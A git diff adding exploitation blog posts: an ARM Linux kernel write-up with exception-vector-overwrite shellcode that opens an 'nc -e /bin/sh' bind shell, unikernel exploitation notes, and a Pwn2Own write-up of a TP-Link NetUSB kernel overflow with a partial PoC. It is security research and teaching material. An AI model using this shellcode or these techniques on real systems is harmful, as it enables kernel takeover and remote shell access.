+ ldr r3, =0xc0049a00 ;prepare_kernel_cred
+ blx r3
+ ldr r4, =0xc0049438 ;commit_creds
+ blx r4
+
+ ldmfd sp!, {r0-r12, pc}^ ;return to userland
+
+;go to syscall handler
+exit:
+ ldr pc, [pc, #980] ;go to normal swi handler
+```
+
+You can find the complete code for the vulnerable module and the exploit [here](https://github.com/acama/arm-evt/tree/master/local_example). Run the exploit:
+
+
+## Remote scenario
+For this example, we will use a netfilter module with a similar vulnerability as the previous one:
+
+```c
+if(ip->protocol == IPPROTO_TCP){
+ tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb));
+ currport = ntohs(tcp->dest);
+ if((currport == 9999)){
+ tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4));
+ where = ((void **)tcp_data)[0];
+ len = ((uint8_t *)(tcp_data + sizeof(where)))[0];
+ what = tcp_data + sizeof(where) + sizeof(len);
+ memcpy(where, what, len);
+ }
+}
+```
+
+Just like the previous example, this module has an awesome feature that allows you to write data to anywhere you want. Connect on port tcp/9999 and just give it an address, followed by the size of the data and the actual data to write there. In this case we will also backdoor the kernel by overwriting the SWI exception vector and backdooring the kernel. The code will branch to our shellcode which we will also, as in the previous example, store at *0xffff020*. Overwriting the SWI vector is especially a good idea in this remote scenario because it will allow us to switch from interrupt context to process context. So our backdoor will be executing in a context with a backing process and we will be able to "hijack" this process and overwrite its code segment with a bind shell or connect back shell. But let's not do it that way. Let's check something real quick:
+
+Would you look at that, on top of everything else, the EVT is a shared memory segment. It is executable from user land and writeable from kernel land\*. Instead of overwriting the code segment of a process that is making a system call, let's just store our code in the EVT right after our first stage and just return there.
+Every system call goes through the SWI vector so we won't have to wait too much for a process to get caught in our trap.
+
+### The Exploit
+Our exploit goes:
+ 1. Store our first stage and second stage shellcodes at *0xffff0020* (one after the other).
+ 2. Overwrite the SWI exception vector with a branch to *0xffff0020*.
+ 3. When a system call occurs, our first stage shellcode will set the link register to the address of our second stage shellcode (which is also stored in the EVT and which will be executed from userland), and then return to userland.
+ 4. The calling process will "resume execution" at the address of our second stage which is just a bind shell.
+
+Here is the stage 1-2 shellcode:
+
+```text
+stage_1:
+ adr lr, stage_2
+ push {lr}
+ stmfd sp!, {r0-r12}
+ ldr r0, =0xe59ff410 ; intial value at 0xffff0008 which is
+ ; ldr pc, [pc, #1040] ; 0xffff0420
+ ldr r1, =0xffff0008
+ str r0, [r1]
+ ldmfd sp!, {r0-r12, pc}^ ; return to userland
+
+stage_2:
+ ldr r0, =0x6e69622f ; /bin
+ ldr r1, =0x68732f2f ; /sh
+ eor r2, r2, r2 ; 0x00000000
+ push {r0, r1, r2}
+ mov r0, sp
+
+ ldr r4, =0x0000632d ; -c\x00\x00
+ push {r4}
+ mov r4, sp
+
+ ldr r5, =0x2d20636e
+ ldr r6, =0x3820706c
+ ldr r7, =0x20383838 ; nc -lp 8888 -e /bin//sh
+ ldr r8, =0x2f20652d
+ ldr r9, =0x2f6e6962
+ ldr r10, =0x68732f2f
+
+ eor r11, r11, r11
+ push {r5-r11}
+ mov r5, sp
+ push {r2}
+
+ eor r6, r6, r6
+ push {r0,r4,r5, r6}
+ mov r1, sp
+ mov r7, #11
+ swi 0x0
+
+ mov r0, #99
+ mov r7, #1
+ swi 0x0
+```
+
+You can find the complete code for the vulnerable module and the exploit [here](https://github.com/acama/arm-evt/tree/master/remote_example). Run the exploit:
+
+
+## Bonus: Interrupt Stack Overflow
+It seems like the Interrupt Stack is adjacent to the EVT in most memory layouts. Who knows what kind of interesting things would happen if there was something like a stack overflow ?
+
+A Few Things about all this
+===========================
+- The techniques discussed in this article make the assumption that the attack has knowledge of the kernel addresses which might not always be the case.
+- The location where we are storing our shellcode (*0xffff0020*) might or might not be used by another distro's kernel.
+- The exampe codes I wrote here are merely PoCs; they could definitely be improved. For example, on the remote scenario, if it turns out that the init process is the process being hijacked, the box will crash after we exit from the bind shell.
+- If you hadn't noticed, the "vulnerabilities" presented here, aren't really vulnerabilities but that is not the point of this article.
+
+ \*: It seems like the EVT can be mapped read-only and therfore there is the possibility that it might not be writeable in newer/some versions of the Linux kernel.
+
+Final words
+===========
+Among other things, [grsec](http://grsecurity.net/) prevents the modification of the EVT by making the page read-only.
+If you want to play with some fun kernel challenges checkout the "kernelpanic" branch on [w3challs](http://w3challs.com/challenges/wargame).
+Cheers, [@amatcama](https://twitter.com/amatcama)
+
+References
+==========
+
+[1] [Vector Rewrite Attack](http://cansecwest.com/slides07/Vector-Rewrite-Attack.pdf)
+[2] [Recent ARM Security Improvements](https://forums.grsecurity.net/viewtopic.php?f=7&t=3292)
+[3] [Entering an Exception](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0311d/I30195.html)
+[4] [SWI handlers](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0040d/Cacdfeci.html)
+[5] [ARM Exceptions](http://osnet.cs.nchu.edu.tw/powpoint/Embedded94_1/Chapter%207%20ARM%20Exceptions.pdf)
+[6] [Exception and Interrupt Handling in ARM](http://www.iti.uni-stuttgart.de/~radetzki/Seminar06/08_report.pdf)
diff --git a/content/articles/exploitation/2016-12-21-happy-unikernels.markdown b/content/articles/exploitation/2016-12-21-happy-unikernels.markdown
new file mode 100644
index 0000000..3898643
--- /dev/null
+++ b/content/articles/exploitation/2016-12-21-happy-unikernels.markdown
@@ -0,0 +1,200 @@
+Title: happy unikernels
+Date: 2016-12-21 18:59
+Tags: unikernel, rumpkernel, exploitation
+Authors: yrp
+Slug: happy-unikernels
+
+# Intro
+
+Below is a collection of notes regarding unikernels. I had originally prepared this stuff to submit to EkoParty’s CFP, but ended up not wanting to devote time to stabilizing PHP7’s heap structures and I lost interest in the rest of the project before it was complete. However, there are still some cool takeaways I figured I could write down. Maybe they’ll come in handy? If so, please let let me know.
+
+Unikernels are a continuation of turning everything into a container or VM. Basically, as many VMs currently just run one userland application, the idea is that we can simplify our entire software stack by removing the userland/kernelland barrier and essentially compiling our usermode process into the kernel. This is, in the implementation I looked at, done with a NetBSD kernel and a variety of either [native or lightly-patched POSIX applications](https://github.com/rumpkernel/rumprun-packages) (bonus: there is significant lag time between upstream fixes and rump package fixes, just like every other containerized solution).
+
+While I don’t necessarily think that conceptually unikernels are a good idea (attack surface reduction vs mitigation removal), I do think people will start more widely deploying them shortly and I was curious what memory corruption exploitation would look like inside of them, and more generally what your payload options are like.
+
+All of the following is based off of two unikernel programs, nginx and php5 and only makes use of public vulnerabilities. I am happy to provide all referenced code (in varying states of incompleteness), on request.
+
+
+
+[TOC]
+
+# Basic ‘Hello World’ Example
+
+To get a basic understanding of a unikernel, we’ll walk through a simple ‘Hello World’ example. First, you’ll need to clone and build (`./build-rr.sh`) the [rumprun](https://github.com/rumpkernel/rumprun) toolchain. This will set you up with the various utilities you'll need.
+
+## Compiling and ‘Baking’
+
+In a rumpkernel application, we have a standard POSIX environment, minus anything involving multiple processes. Standard memory, file system, and networking calls all work as expected. The only differences lie in the multi-process related calls such as `fork()`, `signal()`, `pthread_create()`, etc. The scope of these differences can be found in the [The Design and Implementation of the Anykernel and Rump Kernels [pdf]](http://www.fixup.fi/misc/rumpkernel-book/rumpkernel-bookv2-20160802.pdf).
+
+From a super basic, standard ‘hello world’ program:
+
+```C
+#include
+void main(void)
+{
+ printf("Hello\n");
+}
+```
+
+After building `rumprun` we should have a new compiler, `x86_64-rumprun-netbsd-gcc`. This is a cross compiler targeting the rumpkernel platform. We can compile as normal `x86_64-rumprun-netbsd-gcc hello.c -o hello-rump` and in fact the output is an ELF: `hello-rump: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped`. However, as we obviously cannot directly boot an ELF we must manipulate the executable ('baking' in rumpkernel terms).
+
+Rump kernels provide a `rumprun-bake` shell script. This script takes an ELF from compiling with the rumprun toolchain and converts it into a bootable image which we can then give to qemu or xen. Continuing in our example: `rumprun-bake hw_generic hello.bin hello-rump`, where the `hw_generic` just indicates we are targeting qemu.
+
+## Booting and Debugging
+
+At this point assuming you have qemu installed, booting your new image should be as easy as `rumprun qemu -g "-curses" -i hello.bin`. If everything went according to plan, you should see something like:
+
+
+
+Because this is just qemu at this point, if you need to debug you can easily attach via qemu’s system debugger. Additionally, a nice side effect of this toolchain is very easy debugging — you can essentially debug most of your problems on the native architecture, then just switch compilers to build a bootable image. Also, because the boot time is so much faster, debugging and fixing problems is vastly sped up.
+
+If you have further questions, or would like more detail, the [Rumpkernel Wiki](https://github.com/rumpkernel/wiki) has some very good documents explaining the various components and options.
+
+# Peek/Poke Tool
+
+Initially to develop some familiarity with the code, I wrote a simple peek/poke primitive process. The VM would boot and expose a tcp socket that would allow clients read or write arbitrary memory, as well as wrappers around `malloc()` and `free()` to play with the heap state. Most of the knowledge here is derived from this test code, poking at it with a debugger, and reading the rump kernel source.
+
+## Memory Protections
+
+One of the benefits of unikernels is you can prune components you might not need. For example, if your unikernel application does not touch the filesystem, that code can be removed from your resulting VM. One interesting consequence of this involves only running one process — because there is only one process running on the VM, there is no need for a virtual memory system to separate address spaces by process.
+
+Right now this means that all memory is read-write-execute. I'm not sure if it's possible to configure the MMU in a hypervisor to enforce memory proections without enabling virtual memory, as most of the virtual memory code I've looked at has been related to process separation with page tables, etc. In any case, currently it’s pretty trivial to introduce new code into the system and there shouldn’t be much need to resort to ROP.
+
+# nginx
+
+Nginx was the first target I looked at; I figured I could dig up the stack smash from 2013 (CVE-2013-2028) and use that as a baseline exploit to see what was possible. This ultimately failed, but exposed some interesting things along the way.
+
+## Reason Why This Doesn’t Work
+
+CVE-2013-2028 is a stack buffer overflow in the nginx handler for chunked requests. I thought this would be a good test as the user controls much of the data on the stack, however, various attempts to trigger the overflow failed. Running the VM in a debugger you could see the bug was not triggered despite the size value being large enough. In fact, the syscall returned an error.
+
+It turns out however that NetBSD has code to prevent against this inside the kernel:
+
+```C
+do_sys_recvmsg_so(struct lwp *l, int s, struct socket *so, struct msghdr *mp,
+ struct mbuf **from, struct mbuf **control, register_t *retsize) {
+// …
+ if (tiov->iov_len > SSIZE_MAX || auio.uio_resid > SSIZE_MAX) {
+ error = EINVAL;
+ goto out;
+ }
+// …
+```
+
+iov_len is our `recv()` size parameter, so this bug is dead in the water. As an aside, this also made me wonder how Linux applications would respond if you passed a size greater than LONG_MAX into `recv()` and it succeeded…
+
+## Something Interesting
+
+Traditionally when exploiting this bug one has to worry about stack cookies. Nginx has a worker pool of processes forked from the main process. In the event of a crash, a new process will be forked from the parent, meaning that the stack cookie will remain constant across subsequent connections. This allows you to break it down into four, 1 byte brute forces as opposed to one 4 byte, meaning it can be done in a maximum of 1024 connections. However, inside the unikernel, there is only one process — if a process crashes the entire VM must be restarted, and because the only process is the kernel, the stack cookie should (in theory) be regenerated. Looking at the disassembled nginx code, you can see the stack cookie checks in all off the relevant functions.
+
+In practice, the point is moot because the stack cookies are always zero. The compiler creates and checks the cookies, it just never populates `fs:0x28` (the location of the cookie value), so it’s always a constant value and assuming you can write null bytes, this should pose no problem.
+
+# ASLR
+
+I was curious if unikernels would implement some form of ASLR, as during the build process they get compiled to an ELF (which is quite nice for analysis!) which might make position independent code easier to deal with. They don’t: all images are loaded at `0x100000`. There is however "natures ASLR" as these images aren’t distributed in binary form. Thus, as everyone must compile their own images, these will vary slightly depending on compiler version, software version, etc. However, even this constraint gets made easier. If you look at the format of the loaded images, they look something like this:
+
+```text
+0x100000:
+…
+0x110410:
+```
+
+This means across any unikernel application you’ll have approximately 0x10000 bytes of fixed value, fixed location executable memory. If you find an exploitable bug it should be possible to construct a payload entirely from the code in this section. This payload could be used to leak the application code, install persistence, whatever.
+
+# PHP
+
+Once nginx was off the table, I needed another application that had a rumpkernel package and a history of exploitable bugs. The PHP interpreter fits the bill. I ended up using Sean Heelan's PHP bug [#70068](https://bugs.php.net/bug.php?id=70068), because of the provided trigger in the bug description, and detailed description explaining the bug. Rather than try to poorly recap Sean's work, I'd encourage you to just read the inital report if you're curious about the bug.
+
+In retrospect, I took a poor exploitation path for this bug. Because the heap slabs have no ASLR, you can fairly confidently predict mapped addresses inside the PHP interpreter. Furthermore, by controlling the size of the payload, you can determine which bucket it will fall into and pick a lesser used bucket for more stability. This allows you to be lazy, and hard code payload addresses, leading to easy exploitation. This works very well -- I was basically able to take Sean's trigger, slap some addresses and a payload into it, and get code exec out of it. However, the downsides to this approach quickly became apparent. When trying to return from my payload and leave the interpreter in a sane state (as in, running) I realized that I would need to actually understand the PHP heap to repair it. I started this process by examining the rump heap (see below), but got bored when I ended up in the PHP heap.
+
+# Persistence
+
+This was the portion I wanted to finish for EkoParty, and it didn’t get done. In theory, as all memory is read-write-execute, it should be pretty trivial to just patch `recv()` or something to inspect the data received, and if matching some constant execute the rest of the packet. This is strictly in memory, anything touching disk will be application specific.
+
+Assuming your payload is stable, you should be able to install an in-memory backdoor which will persist for the runtime of that session (and be deleted on poweroff). While in many configurations there is no writable persistent storage which will survive reboots this is not true for all unikernels (e.g. mysql). In those cases it might be possible to persist across power cycles, but this will be application specific.
+
+One final, and hopefully obvious note: one of the largest differences in exploitation of unikernels is the lack of multiple processes. Exploits frequently use the existence of multiple processes to avoid cleaning up application state after a payload is run. In a unikernel, your payload must repair application state or crash the VM. In this way it is much more similar to a kernel exploit.
+
+# Heap Notes
+
+The unikernel heap is quite nice from an exploitation perspective. It's a slab-style allocator with in-line metadata on every block. Specifically, the metadata contains the ‘bucket’ the allocation belongs to (and thus the freelist the block should be released to). This means a relative overwrite plus `free()`ing into a smaller bucket should allow for fairly fine grained control of contents. Additionally the heap is LIFO, allowing for standard heap massaging.
+
+Also, while kinda untested, I believe rumpkernel applications are compiled without `QUEUEDEBUG` defined. This is relevant as the sanity checks on `unlink` operations ("safe unlink") require this to be defined. This means that in some cases, if freelists themselves can be overflown then removed you can get a write-what-where. However, I think this is fairly unlikely in practice, and with the lack of memory protections elsewhere, I'd be surprised if it would currently be useful.
+
+You can find most of the relevant heap source [here](https://github.com/rumpkernel/rumprun/blob/master/lib/libbmk_core/memalloc.c)
+
+# Symbol Resolution
+
+Rumpkernels helpfully include an entire syscall table under the `mysys` symbol. When rumpkernel images get loaded, the ELF header gets stripped, but the rest of the memory is loaded contigiously:
+
+```text
+gef➤ info file
+Symbols from "/home/x/rumprun-packages/php5/bin/php.bin".
+Remote serial target in gdb-specific protocol:
+Debugging a target over a serial line.
+ While running this, GDB does not access memory from...
+Local exec file:
+ `/home/x/rumprun-packages/php5/bin/php.bin', file type elf64-x86-64.
+ Entry point: 0x104000
+ 0x0000000000100000 - 0x0000000000101020 is .bootstrap
+ 0x0000000000102000 - 0x00000000008df31c is .text
+ 0x00000000008df31c - 0x00000000008df321 is .init
+ 0x00000000008df340 - 0x0000000000bba9f0 is .rodata
+ 0x0000000000bba9f0 - 0x0000000000cfbcd0 is .eh_frame
+ 0x0000000000cfbcd0 - 0x0000000000cfbd28 is link_set_sysctl_funcs
+ 0x0000000000cfbd28 - 0x0000000000cfbd50 is link_set_bufq_strats
+ 0x0000000000cfbd50 - 0x0000000000cfbde0 is link_set_modules
+ 0x0000000000cfbde0 - 0x0000000000cfbf18 is link_set_rump_components
+ 0x0000000000cfbf18 - 0x0000000000cfbf60 is link_set_domains
+ 0x0000000000cfbf60 - 0x0000000000cfbf88 is link_set_evcnts
+ 0x0000000000cfbf88 - 0x0000000000cfbf90 is link_set_dkwedge_methods
+ 0x0000000000cfbf90 - 0x0000000000cfbfd0 is link_set_prop_linkpools
+ 0x0000000000cfbfd0 - 0x0000000000cfbfe0 is .initfini
+ 0x0000000000cfc000 - 0x0000000000d426cc is .data
+ 0x0000000000d426d0 - 0x0000000000d426d8 is .got
+ 0x0000000000d426d8 - 0x0000000000d426f0 is .got.plt
+ 0x0000000000d426f0 - 0x0000000000d42710 is .tbss
+ 0x0000000000d42700 - 0x0000000000e57320 is .bss
+```
+
+This means you should be able to just run simple linear scan, looking for the `mysys` table. A basic heuristic should be fine, 8 byte syscall number, 8 byte address. In the PHP5 interpreter, this table has 67 entries, giving it a big, fat footprint:
+
+```text
+gef➤ x/6g mysys
+0xaeea60 : 0x0000000000000003 0x000000000080b790 --
+0xaeea70 : 0x0000000000000004 0x000000000080b9d0 --
+0xaeea80 : 0x0000000000000006 0x000000000080c8e0 --
+...
+```
+
+There is probably a chain of pointers in the initial constant 0x10410 bytes you could also follow, but this approach should work fine.
+
+# Hypervisor fuzzing
+
+After playing with these for a while, I had another idea: rather than using unikernels to host userland services, I think there is a really cool opportunity to write a hypervisor fuzzer in a unikernel. Consider:
+You have all the benefits of a POSIX userland only you’re in ring0. You don’t need to export your data to userland to get easy and familiar IO functions.
+Unikernels boot really, really fast. As in under 1 second. This should allow for pretty quick state clearing.
+
+This is definitely an area of interesting future work I’d like to come back to.
+
+# Final Suggestions
+
+If you develop unikernels:
+
+- Populate the randomness for stack cookies.
+- Load at a random location for some semblance of ASLR.
+- Is there a way you can enforce memory permissions? Some form of NX would go a long way.
+- If you can’t, some control flow integrity stuff might be a good idea? Haven’t really thought this through or tried it.
+- Take as many lessons from grsec as possible.
+
+If you’re exploiting unikernels:
+
+- Have fun.
+
+If you’re exploiting hypervisors:
+
+- Unikernels might provide a cool platform to easily play in ring0.
+
+## Thanks
+For feedback, bugs used, or editing
+[@seanhn](https://twitter.com/seanhn), [@hugospns](https://twitter.com/hugospns), [@0vercl0k](https://twitter.com/0vercl0k), [@darkarnium](https://twitter.com/darkarnium), other quite helpful anonymous types.
\ No newline at end of file
diff --git a/content/articles/exploitation/2022-03-26-zenith.markdown b/content/articles/exploitation/2022-03-26-zenith.markdown
new file mode 100644
index 0000000..2a7e51b
--- /dev/null
+++ b/content/articles/exploitation/2022-03-26-zenith.markdown
@@ -0,0 +1,509 @@
+Title: Competing in Pwn2Own 2021 Austin: Icarus at the Zenith
+Date: 2022-03-26 08:00
+Tags: Pwn2Own Austin, Pwn2Own, routers, TP-Link, Archer C7, TP-Link Archer C7 V5, Zenith, remote kernel, NetUSB, CVE-2022-24354, exploitation, memory-corruption
+Authors: Axel "0vercl0k" Souchet
+
+# Introduction
+
+In 2021, I finally spent some time looking at a consumer router I had been using for years. It started as a weekend project to look at something a bit different from what I was used to. On top of that, it was also a good occasion to play with new tools, learn new things.
+
+I downloaded [Ghidra](https://ghidra-sre.org/), grabbed a firmware update and started to reverse-engineer various MIPS binaries that were running on my NETGEAR DGND3700v2 device. I quickly was pretty horrified with what I found and wrote [Longue vue 🔭](https://github.com/0vercl0k/longue-vue) over the weekend which was a lot of fun (maybe a story for next time?). The security was such a joke that I threw the router away the next day and ordered a new one. I just couldn't believe this had been sitting in my network for several years. Ugh 😞.
+
+Anyways, I eventually received a brand new TP-Link router and started to look into that as well. I was pleased to see that code quality was much better and I was slowly grinding through the code after work. Eventually, in May 2021, the [Pwn2Own 2021 Austin](https://www.zerodayinitiative.com/blog/2021/11/1/pwn2ownaustin) contest was announced where routers, printers and phones were available targets. Exciting. Participating in that kind of competition has always been on my TODO list and I convinced myself for the longest time that I didn't have what it takes to participate 😅.
+
+This time was different though. I decided I would commit and invest the time to focus on a target and see what happens. It couldn't hurt. On top of that, a few friends of mine were also interested and motivated to break some code, so that's what we did. In this blogpost, I'll walk you through the journey to prepare and enter the competition with the *mofoffensive* team.
+
+[TOC]
+
+# Target selections
+
+At this point, [@pwning_me](https://twitter.com/pwning_me), [@chillbro4201](https://twitter.com/chillbro4201) and I are motivated and chatting hard on discord. The end goal for us is to participate to the contest and after taking a look at the [contest's rules](https://www.zerodayinitiative.com/Pwn2OwnAustin2021Rules.html), the path of least resistance seems to be targeting a router. We had a bit more experience with them, the hardware was easy and cheap to get so it felt like the right choice.
+
+
+
+At least, that's what we thought was the path of least resistance. After attending the contest, maybe printers were at least as soft but with a higher payout. But whatever, we weren't in it for the money so we focused on the router category and stuck with it.
+
+Out of the 5 candidates, we decided to focus on the consumer devices because we assumed they would be softer. On top of that, I had a little bit of experience looking at TP-Link, and somebody in the group was familiar with NETGEAR routers. So those were the two targets we chose, and off we went: logged on Amazon and ordered the hardware to get started. That was exciting.
+
+
+
+The TP-Link AC1750 Smart Wi-Fi router arrived at my place and I started to get going. But where to start? Well, the best thing to do in those situations is to get a root shell on the device. It doesn't really matter how you get it, you just want one to be able to figure out what are the interesting attack surfaces to look at.
+
+
+
+As mentioned in the introduction, while playing with my own TP-Link router in the months prior to this I had found a post auth vulnerability that allowed me to execute shell commands. Although this was useless from an attacker perspective, it would be useful to get a shell on the device and bootstrap the research. Unfortunately, the target wasn't vulnerable and so I needed to find another way.
+
+Oh also. Fun fact: I actually initially ordered the wrong router. It turns out TP-Link sells two line of products that look very similar: the **A7** and the **C7**. I bought the former but needed the latter for the contest, yikers 🤦🏽♂️. Special thanks to Cody for letting me know 😅!
+
+# Getting a shell on the target
+After reverse-engineering the web server for a few days, looking for low hanging fruits and not finding any, I realized that I needed to find another way to get a shell on the device.
+
+After googling a bit, I found an article written by my countrymen: [Pwn2own Tokyo 2020: Defeating the TP-Link AC1750](https://www.synacktiv.com/publications/pwn2own-tokyo-2020-defeating-the-tp-link-ac1750.html) by [@0xMitsurugi](https://twitter.com/0xMitsurugi) and [@swapg](https://twitter.com/swapgs). The article described how they compromised the router at Pwn2Own Tokyo in 2020 but it also described how they got a shell on the device, great 🙏🏽. The issue is that I really have no hardware experience whatsoever. None.
+
+But fortunately, I have pretty cool friends. I pinged my boy [@bsmtiam](https://twitter.com/bsmtiam), he recommended to order a [FT232 USB cable](https://www.amazon.com/gp/product/B014GZTCC6/) and so I did. I received the hardware shortly after and swung by his place. He took apart the router, put it on a bench and started to get to work.
+
+
+
+After a few tries, he successfully soldered the UART. We hooked up the FT232 USB Cable to the router board and plugged it into my laptop:
+
+
+
+Using Python and the `minicom` library, we were finally able to drop into an interactive root shell 💥:
+
+
+
+Amazing. To celebrate this small victory, we went off to grab a burger and a beer 🍻 at the local pub. Good day, this day.
+
+# Enumerating the attack surfaces
+
+It was time for me to figure out which areas I should try to focus my time on. I did a bunch of reading as this router has been targeted multiple times over the years at Pwn2Own. I figured it might be a good thing to try to break new grounds to lower the chance of entering the competition with a duplicate and also maximize my chances at finding something that would allow me to enter the competition. Before thinking about duplicates, I need a bug.
+
+I started to do some very basic attack surface enumeration: processes running, iptable rules, sockets listening, crontable, etc. Nothing fancy.
+
+```text
+# ./busybox-mips netstat -platue
+Active Internet connections (servers and established)
+Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
+tcp 0 0 0.0.0.0:33344 0.0.0.0:* LISTEN -
+tcp 0 0 localhost:20002 0.0.0.0:* LISTEN 4877/tmpServer
+tcp 0 0 0.0.0.0:20005 0.0.0.0:* LISTEN -
+tcp 0 0 0.0.0.0:www 0.0.0.0:* LISTEN 4940/uhttpd
+tcp 0 0 0.0.0.0:domain 0.0.0.0:* LISTEN 4377/dnsmasq
+tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN 5075/dropbear
+tcp 0 0 0.0.0.0:https 0.0.0.0:* LISTEN 4940/uhttpd
+tcp 0 0 :::domain :::* LISTEN 4377/dnsmasq
+tcp 0 0 :::ssh :::* LISTEN 5075/dropbear
+udp 0 0 0.0.0.0:20002 0.0.0.0:* 4878/tdpServer
+udp 0 0 0.0.0.0:domain 0.0.0.0:* 4377/dnsmasq
+udp 0 0 0.0.0.0:bootps 0.0.0.0:* 4377/dnsmasq
+udp 0 0 0.0.0.0:54480 0.0.0.0:* -
+udp 0 0 0.0.0.0:42998 0.0.0.0:* 5883/conn-indicator
+udp 0 0 :::domain :::* 4377/dnsmasq
+```
+
+At first sight, the following processes looked interesting:
+- the `uhttpd` HTTP server,
+- the third-party `dnsmasq` service that potentially could be unpatched to upstream bugs (unlikely?),
+- the `tdpServer` which was popped back in 2021 and was a vector for a vuln exploited in `sync-server`.
+
+# Chasing ghosts
+
+Because I was familiar with how the `uhttpd` HTTP server worked on my home router I figured I would at least spend a few days looking at the one running on the target router. The HTTP server is able to run and invoke Lua extensions and that's where I figured bugs could be: command injections, etc. But interestingly enough, all the existing public Lua tooling failed at analyzing those extensions which was both frustrating and puzzling. Long story short, it seems like the Lua runtime used on the router has been modified such that the opcode table appears shuffled. As a result, the compiled extensions would break all the public tools because the opcodes wouldn't match. Silly. I eventually managed to decompile some of those extensions and found one bug but it probably was useless from an attacker perspective. It was time to move on as I didn't feel there was enough potential for me to find something interesting there.
+
+One another thing I burned time on is to go through the GPL code archive that TP-Link published for this router: [ArcherC7V5.tar.bz2](https://static.tp-link.com/resources/gpl/ArcherC7V5.tar.bz2). Because of licensing, TP-Link has to (?) 'maintain' an archive containing the GPL code they are using on the device. I figured it could be a good way to figure out if `dnsmasq` was properly patched to recent vulns that have been published in the past years. It looked like some vulns weren't patched, but the disassembly showed different 😔. Dead-end.
+
+# NetUSB shenanigans
+
+There were two strange lines in the `netstat` output from above that did stand out to me:
+```text
+tcp 0 0 0.0.0.0:33344 0.0.0.0:* LISTEN -
+tcp 0 0 0.0.0.0:20005 0.0.0.0:* LISTEN -
+```
+
+Why is there no process name associated with those sockets uh 🤔? Well, it turns out that after googling and looking around those sockets are opened by a... wait for it... kernel module. It sounded pretty crazy to me and it was also the first time I saw this. Kinda exciting though.
+
+This [NetUSB.ko](https://www.kcodes.com/product/1/36) kernel module is actually a piece of software written by the [KCodes](https://www.kcodes.com/) company to do USB over IP. The other wild stuff is that I remembered seeing this same module on my NETGEAR router. Weird. After googling around, it was also not a surprise to see that multiple vulnerabilities were discovered and exploited in the past and that indeed TP-Link was not the only router to ship this module.
+
+Although I didn't think it would be likely for me to find something interesting in there, I still invested time to look into it and get a feel for it. After a few days reverse-engineering this statically, it definitely looked much more complex than I initially thought and so I decided to stick with it for a bit longer.
+
+After grinding through it for a while things started to make sense: I had reverse-engineered some important structures and was able to follow the untrusted inputs deeper in the code. After enumerating a lot of places where the attacker inputs is parsed and used, I found this one spot where I could overflow an integer in arithmetic fed to an allocation function:
+
+```c++
+void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
+{
+ // ...
+ result = (void *)SoftwareBus_fillBuf(SbusConnection, v64, 4);
+ if(result) {
+ v64[0] = _bswapw(v64[0]); <----------------------- attacker controlled
+ Payload_1 = mallocPageBuf(v64[0] + 9, 0xD0); <---- overflow
+ if(Payload_1) {
+ // ...
+ if(SoftwareBus_fillBuf(SbusConnection, Payload_1 + 2, v64[0]))
+```
+
+I first thought this was going to lead to a wild overflow type of bug because the code would try to read a very large number of bytes into this buffer but I still went ahead and crafted a PoC. That's when I realized that I was wrong. Looking carefuly, the `SoftwareBus_fillBuf` function is actually defined as follows:
+
+```c++
+int SoftwareBus_fillBuf(SbusConnection_t *SbusConnection, void *Buffer, int BufferLen) {
+ if(SbusConnection)
+ if(Buffer) {
+ if(BufferLen) {
+ while (1) {
+ GetLen = KTCP_get(SbusConnection, SbusConnection->ClientSocket, Buffer, BufferLen);
+ if ( GetLen <= 0 )
+ break;
+ BufferLen -= GetLen;
+ Buffer = (char *)Buffer + GetLen;
+ if ( !BufferLen )
+ return 1;
+ }
+ kc_printf("INFO%04X: _fillBuf(): len = %d\n", 1275, GetLen);
+ return 0;
+ }
+ else {
+ return 1;
+ }
+ } else {
+ // ...
+ return 0;
+ }
+ }
+ else {
+ // ...
+ return 0;
+ }
+}
+```
+
+`KTCP_get` is basically a wrapper around `ks_recv`, which basically means an attacker can force the function to return without reading the whole `BufferLen` amount of bytes. This meant that I could force an allocation of a small buffer and overflow it with as much data I wanted. If you are interested to learn on how to trigger this code path in the first place, please check how the handshake works in [zenith-poc.py](https://github.com/0vercl0k/zenith/blob/main/src/zenith-poc.py) or you can also read [CVE-2021-45608 | NetUSB RCE Flaw in Millions of End User Routers](https://www.sentinelone.com/labs/cve-2021-45608-netusb-rce-flaw-in-millions-of-end-user-routers/) from [@maxpl0it](https://twitter.com/maxpl0it). The below code can trigger the above vulnerability:
+```py
+from Crypto.Cipher import AES
+import socket
+import struct
+import argparse
+
+le8 = lambda i: struct.pack('=B', i)
+le32 = lambda i: struct.pack('
+
+Wow ok, so maybe I could do something useful with this bug. Still a long shot, but based on my understanding the bug would give me full control over the content and I was able to overflow the pages with pretty much as much data as I wanted. The only thing that I couldn't fully control was the size passed to the allocation. The only limitation was that I could only trigger a `mallocPageBuf` call with a size in the following interval: `[0, 8]` because of the integer overflow. `mallocPageBuf` aligns the passed size to the next power of two, and calculates the `order` (n in 2**n) to invoke `_get_free_pages`.
+
+Another good thing going for me was that the kernel didn't have KASLR, and I also noticed that the kernel did its best to keep running even when encountering access violations or whatnot. It wouldn't crash and reboot at the first hiccup on the road but instead try to run until it couldn't anymore. Sweet.
+
+I also eventually discovered that the driver was leaking kernel addresses over the network. In the above snippet, `kc_printf` is invoked with diagnostic / debug strings. Looking at its code, I realized the strings are actually sent over the network on a different port. I figured this could also be helpful for both synchronization and leaking some allocations made by the driver.
+
+```c++
+int kc_printf(const char *a1, ...) {
+ // ...
+ v1 = vsprintf(v6, a1);
+ v2 = v1 < 257;
+ v3 = v1 + 1;
+ if(!v2) {
+ v6[256] = 0;
+ v3 = 257;
+ }
+ v5 = v3;
+ kc_dbgD_send(&v5, v3 + 4); // <-- send over socket
+ return printk("<1>%s", v6);
+}
+```
+
+Pretty funny right?
+
+# Booting NetUSB in QEMU
+
+Although I had a root shell on the device, I wasn't able to debug the kernel or the driver's code. This made it very hard to even think about exploiting this vulnerability. On top of that, I am a complete Linux noob so this lack of introspections wasn't going to work. What are my options?
+
